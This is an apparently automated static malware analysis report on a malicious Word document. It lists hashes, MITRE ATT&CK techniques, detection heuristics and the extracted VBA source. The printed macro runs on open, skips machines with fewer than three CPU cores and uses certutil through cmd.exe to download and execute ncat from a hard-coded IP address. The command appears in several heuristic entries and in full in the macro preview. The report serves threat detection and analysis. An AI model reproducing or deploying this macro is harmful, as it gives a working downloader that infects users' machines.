Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 01ad824a3882a170…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-06-03 14:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: f4c35e0e953d7f56bda1140e1f8dceb0 SHA-1: 664882a9c06f80551d0a18e5c17b7481dec46b2f SHA-256: 01ad824a3882a170d45c40644d1a1605ee5942ae0be0e8295d954c1f9b7ea677
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059.003 Windows Command Shell

The VBA macro contains an AutoOpen function that checks the number of CPU cores. If the number of cores is less than 3, it does nothing. Otherwise, it uses WScript.Shell to execute a command that downloads a second-stage payload (ncat.exe) from the URL http://192.168.2.120/ncat1.exe using certutil.exe, saves it as c:\Users\win\ncat2.exe, and then executes it. This indicates a downloader functionality.

Heuristics 10

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                Dim objShell
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
                Set objShell = CreateObject("WScript.Shell")
            objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                Dim objShell
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
                Set objShell = CreateObject("WScript.Shell")
            objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1130 bytes
SHA-256: d4c6752ce619d879626c1334cc781da5ee9b03afec345e17d44ab3ceeb70796a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

    Dim i
    badCores = 0

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
    
    For Each objItem In colItems
    
            If objItem.NumberOfCores < 3 Then
                badCores = True
            End If
        
    Next

    If badCores = True Then
        
        i = 1
        
    Else
            
            Dim objShell
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
        
        

        
    End If


 

End Sub

Private Function MSG()
 MsgBox ("TEST")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: bd737e70926994e6607c22f62142a4dceb1ed5afd0e6cf24c13fdb9d87d4edb5
Detection
ClamAV: Win.Downloader.CertutilURLCache-6335698-0
Obfuscation or payload: unlikely

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